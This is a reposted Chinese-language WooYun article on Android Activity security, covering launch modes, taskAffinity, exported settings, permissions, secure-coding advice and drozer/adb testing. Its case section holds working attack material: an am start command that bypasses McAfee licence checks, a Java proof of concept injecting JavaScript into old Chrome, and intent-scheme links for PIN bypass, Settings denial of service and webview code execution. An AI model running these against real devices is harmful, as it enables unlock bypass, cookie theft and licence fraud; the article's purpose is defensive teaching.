原文地址: http://drops.wooyun.org/tips/3936
0x00 科普
Android每一個Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本組件所組成,其中Activity是實現應用程序的主體,它承擔了大量的顯示和交互工作,甚至可以理解爲一個"界面"就是一個Activity。
Activity是爲用戶操作而展示的可視化用戶界面。比如說,一個activity可以展示一個菜單項列表供用戶選擇,或者顯示一些包含說明的照片。一個短消息應用程序可以包括一個用於顯示做爲發送對象的聯繫人的列表的activity,一個給選定的聯繫人寫短信的activity以及翻閱以前的短信和改變設置的activity。儘管它們一起組成了一個內聚的用戶界面,但其中每個activity都與其它的保持獨立。每個都是以Activity類爲基類的子類實現。
一個應用程序可以只有一個activity,或如剛纔提到的短信應用程序那樣,包含很多個。每個activity的作用,以及其數目,自然取決於應用程序及其設計。一般情況下,總有一個應用程序被標記爲用戶在應用程序啓動的時候第一個看到的。從一個activity轉向另一個的方式是靠當前的activity啓動下一個。
0x01 知識要點
參考:http://developer.android.com/guide/components/activities.html
生命週期
啓動方式
顯示啓動
配置文件中註冊組件
<activity android:name=".ExampleActivity" android:icon="@drawable/app_icon"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
直接使用intent對象指定application以及activity啓動
Intent intent = new Intent(this, ExampleActivity.class); startActivity(intent);
未配置intent-filter的action屬性,activity只能使用顯示啓動。
私有Activity推薦使用顯示啓動。
隱式啓動
Intent intent = new Intent(Intent.ACTION_SEND); intent.putExtra(Intent.EXTRA_EMAIL, recipientArray); startActivity(intent);
加載模式launch mode
Activity有四種加載模式:
- standard:默認行爲。每次啓動一個activity,系統都會在目標task新建一個實例。
- singleTop:如果目標activity的實例已經存在於目標task的棧頂,系統會直接使用該實例,並調用該activity的onNewIntent()(不會重新create)
- singleTask:在一個新任務的棧頂創建activity的實例。如果實例已經存在,系統會直接使用該實例,並調用該activity的onNewIntent()(不會重新create)
- singleInstance:和"singleTask"類似,但在目標activity的task中不會再運行其他的activity,在那個task中永遠只有一個activity。
設置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 屬性:
<activity android:name="ActB" android:launchMode="singleTask"></activity>
Activity launch mode 用於控制創建task和Activity實例。默認“standard“模式。Standard模式一次啓動即會生成一個新的Activity實例並且不會創建新的task,被啓動的Activity和啓動的Activity在同一個棧中。當創建新的task時,intent中的內容有可能被惡意應用讀取所以建議若無特別需求使用默認的standard模式即不配置launch mode屬性。launchMode能被Intent 的flag覆蓋。
taskAffinity
android系統中task管理Activity。Task的命名取決於root Activity的affinity。
默認情況下,app中的每個Activity都使用app的包名作爲affinity。而Task的分配取決於app,故默認情況下一個app中所有的Activity屬於同一task。要改變task的分配,可以在AndroidManifest.xml文件中設置affinity的值,但是這樣做會有不同task啓動Activity攜帶的intent中的信息被其他應用讀取的風險。
FLAG_ACTIVITY_NEW_TASK
intent flag中一個重要的flag
啓動Activity時通過setFlags()或者addFlags()方法設置intent的flags屬性能夠改變launch mode,FLAG_ACTIVITY_NEW_TASK標記代表創建新的task(被啓動的Activity既不在前臺也不在後臺)。FLAG_ACTIVITY_MULTIPLE_TASK標記能和FLAG_ACTIVITY_NEW_TASK同時設置。這種情況下必會創建的task,所以intent中不應攜帶敏感數據。
Task
stack:Activity承擔了大量的顯示和交互工作,從某種角度上將,我們看見的應用程序就是許多個Activity的組合。爲了讓這許多 Activity協同工作而不至於產生混亂,Android平臺設計了一種堆棧機制用於管理Activity,其遵循先進後出的原則,系統總是顯示位於棧頂的Activity,位於棧頂的Activity也就是最後打開的Activity。
Task:是指將相關的Activity組合到一起,以Activity Stack的方式進行管理。從用戶體驗上講,一個“應用程序”就是一個Task,但是從根本上講,一個Task是可以有一個或多個Android Application組成的
如果用戶離開一個task很長時間,系統會清理棧頂以下的activity,這樣task被從新打開時,棧頂activity就被還原了。
Intent Selector
多個Activity具有相同action時,當此調用此action時會彈出一個選擇器供用戶選擇。
權限
android:exported
一個Activity組件能否被外部應用啓動取決於此屬性,設置爲true時Activity可以被外部應用啓動,設置爲false則不能,此時Activity只能被自身app啓動。(同user id或者root也能啓動)
沒有配置intent-filter的action屬性exported默認爲false(沒有filter只能通過明確的類名來啓動activity故相當於只有程序本身能啓動),配置了intent-filter的action屬性exported默認爲true。
exported屬性只是用於限制Activity是否暴露給其他app,通過配置文件中的權限申明也可以限制外部啓動activity。
android:protectionLevel
http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html
normal:默認值。低風險權限,只要申請了就可以使用,安裝時不需要用戶確認。
dangerous:像WRITE_SETTING和SEND_SMS等權限是有風險的,因爲這些權限能夠用來重新配置設備或者導致話費。使用此protectionLevel來標識用戶可能關注的一些權限。Android將會在安裝程序時,警示用戶關於這些權限的需求,具體的行爲可能依據Android版本或者所安裝的移動設備而有所變化。
signature:這些權限僅授予那些和本程序應用了相同密鑰來簽名的程序。
signatureOrSystem:與signature類似,除了一點,系統中的程序也需要有資格來訪問。這樣允許定製Android系統應用也能獲得權限,這種保護等級有助於集成系統編譯過程。
<!-- *** POINT 1 *** Define a permission with protectionLevel="signature" --> <permission android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION" android:protectionLevel="signature" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute --> <activity android:name=".ProtectedActivity" android:exported="true" android:label="@string/app_name" android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" > <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter --> </activity>
關鍵方法
- onCreate(Bundle savedInstanceState)
- setResult(int resultCode, Intent data)
- startActivity(Intent intent)
- startActivityForResult(Intent intent, int requestCode)
- onActivityResult(int requestCode, int resultCode, Intent data)
- setResult (int resultCode, Intent data)
- getStringExtra (String name)
- addFlags(int flags)
- setFlags(int flags)
- setPackage(String packageName)
- getAction()
- setAction(String action)
- getData()
- setData(Uri data)
- getExtras()
- putExtra(String name, String value)
0x02 Activity分類
Activity類型和使用方式決定了其風險和防禦方式,故將Activity分類如下: Private、Public、Parter、In-house
private activity
私有Activity不應被其他應用啓動相對是安全的
創建activity時:
1、不指定taskAffinity //task管理activity。task的名字取決於根activity的affinity。默認設置中Activity使用包名做爲affinity。task由app分配,所以一個應用的Activity在默認情況下屬於相同task。跨task啓動Activity的intent有可能被其他app讀取到。
2、不指定lunchMode //默認standard,建議使用默認。創建新task時有可能被其他應用讀取intent的內容。
3、設置exported屬性爲false
4、謹慎處理從intent中接收的數據,不管是否內部發送的intent
5、敏感信息只能在應用內部操作
使用activity時:
6、開啓activity時不設置FLAG_ACTIVITY_NEW_TASK標籤 //FLAG_ACTIVITY_NEW_TASK標籤用於創建新task(被啓動的Activity並未在棧中)。
7、開啓應用內部activity使用顯示啓動的方式
8、當putExtra()包含敏感信息目的應是app內的activity
9、謹慎處理返回數據,即可數據來自相同應用
public activity
公開暴露的Activity組件,可以被任意應用啓動
創建activity:
1、設置exported屬性爲true
2、謹慎處理接收的intent
3、有返回數據時不應包含敏感信息
使用activity:
4、不應發送敏感信息
5、當收到返回數據時謹慎處理
Parter、in-house部分參閱http://www.jssec.org/dl/android_securecoding_en.pdf
安全建議
- app內使用的私有Activity不應配置intent-filter,如果配置了intent-filter需設置exported屬性爲false。
- 使用默認taskAffinity
- 使用默認launchMode
- 啓動Activity時不設置intent的FLAG_ACTIVITY_NEW_TASK標籤
- 謹慎處理接收的intent以及其攜帶的信息
- 簽名驗證內部(in-house)app
- 當Activity返回數據時候需注意目標Activity是否有泄露信息的風險
- 目的Activity十分明確時使用顯示啓動
- 謹慎處理Activity返回的數據,目的Activity返回的數據有可能是惡意應用僞造的
- 驗證目標Activity是否惡意app,以免受到intent欺騙,可用hash簽名驗證
- When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection
- 儘可能的不發送敏感信息,應考慮到啓動public Activity中intent的信息均有可能被惡意應用竊取的風險
0x04 測試方法
查看activity:
- 反編譯查看配置文件AndroidManifest.xml中activity組件(關注配置了intent-filter的及未設置export=“false”的)
- 直接用RE打開安裝後的app查看配置文件
- Drozer掃描:run app.activity.info -a packagename
- 動態查看:logcat設置filter的tag爲ActivityManager
啓動activity:
- adb shell:am start -a action -n package/componet
- drozer: run app.activity.start --action android.action.intent.VIEW ...
- 自己編寫app調用startActiviy()或startActivityForResult()
- 瀏覽器intent scheme遠程啓動:http://drops.wooyun.org/tips/2893
0x05 案例
案例1:繞過本地認證
WooYun: 華爲網盤android客戶端本地密碼繞過(非root也可以)
繞過McAfee的key驗證,免費激活。
$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain
案例2:本地拒絕服務
WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)
WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)
WooYun: Android原生的Settings應用存在必現崩潰問題(可造成拒絕服務攻擊) (涉及fragment)
案例3:界面劫持
WooYun: android利用懸浮窗口實現界面劫持釣魚盜號
案例4:UXSS
漏洞存在於Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允許惡意應用注入js代碼到任意域. 部分 AndroidManifest.xml配置文件如下
<activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>
Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未設置 "android:exported" 爲 "false". 惡意應用先調用該類並設置data爲” http://google.com” 再次調用時設置data爲惡意js例如'javascript:alert(document.cookie)', 惡意代碼將在http://google.com域中執行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通過Android api或者am(activityManager)打開. POC如下
public class TestActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent i = new Intent(); ComponentName comp = new ComponentName( "com.android.chrome", "com.google.android.apps.chrome.SimpleChromeActivity"); i.setComponent(comp); i.setAction("android.intent.action.VIEW"); Uri data = Uri.parse("http://google.com"); i.setData(data); startActivity(i); try { Thread.sleep(5000); } catch (Exception e) {} data = Uri.parse("javascript:alert(document.cookie)"); i.setData(data); startActivity(i); } }
案例5:隱式啓動intent包含敏感數據
暫缺可公開案例,攻擊模型如下圖。
案例6:Fragment注入(繞過PIN+拒絕服務)
Fragment這裏只提一下,以後可能另寫一篇。
<a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end"> 16、bypass Pin android 3.0-4.3 (selector) </a><br>
<a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end"> 17、fragment dos android 4.4 (selector) </a><br>
案例7:webview RCE
<a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end"> 15、驢媽媽代碼執行(fixed) </a><br>